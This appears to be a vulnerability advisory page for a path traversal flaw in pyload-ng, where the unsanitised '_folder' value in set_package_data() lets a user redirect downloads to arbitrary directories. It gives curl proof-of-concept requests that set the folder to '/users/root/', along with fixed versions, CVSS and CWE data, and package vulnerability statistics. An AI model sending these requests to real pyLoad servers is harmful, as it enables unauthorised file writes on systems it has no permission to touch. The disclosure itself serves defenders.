PyLoad vulnerable to Path Traversal via Package Folder Name in set_package_data
Summary
No sanitization of package folder name allows writing files anywhere outside the intended download directory.
Affected Component
src/pyload/core/api/__init__.py- Function:
set_package_data()
Details
When passing a folder name in the set_package_data() API function call inside the data object with key "_folder", there is no sanitization at all, allowing a user with Perms.MODIFY to specify arbitrary directories as download locations for a package.
PoC
- Create a package, note response package ID e.g.
5
curl -X 'POST' \
'http://localhost:8000/api/add_package' \
-H 'accept: application/json' \
-H 'X-API-Key: <valid api key>' \
-H 'Content-Type: application/json' \
-d '{
"name": "set_package_data_exploit_poc",
"links": [
"http://example.com/file.txt"
],
"dest": 1
}'- Call set_package_data for this package ID with an arbitrary directory
curl -X 'POST' \
'http://localhost:8000/api/set_package_data' \
-H 'accept: */*' \
-H 'X-API-Key: <valid api key>' \
-H 'Content-Type: application/json' \
-d '{
"package_id": 5,
"data": {
"_folder": "/users/root/"
}
}'- New download folder will be set without any checks
curl -X 'GET' \
'http://localhost:8000/api/get_queue' \
-H 'accept: application/json' \
-H 'X-API-Key: <valid api key>'Response:
[
{
"pid": 5,
"name": "set_package_data_exploit_poc",
"folder": "/users/root/",
"site": "",
"password": "",
"dest": 1,
"order": 1,
"linksdone": 0,
"sizedone": 0,
"sizetotal": 0,
"linkstotal": 1,
"links": null,
"fids": null
}
]Impact
Allows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | pyload-ng | < 0.5.0b3.dev100 | 0.5.0b3.dev100 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H- Weakness (CWE)
CWE-22, CWE-36- Platform
- Python (PyPI)
- Package
pyload-ng- Disclosed
- 05.05.2026
- Updated
- 11.10.2026 12:19
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-129 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-838g-gr43-qqg9 - CC BY 4.0
Vulnerability history: pyload-ng
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 58
- First → latest
- 01.2023 10.2026
- Without a fix
- 24
- Exploited in attacks
- 0
Severity breakdown
- Critical 9
- High 23
- Medium 25
- Low 1
Disclosures per year
- 2023: 9
- 2024: 8
- 2025: 8
- 2026: 33
-
PyLoad vulnerable to Path Traversal via Package Folder Name in set_package_data this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.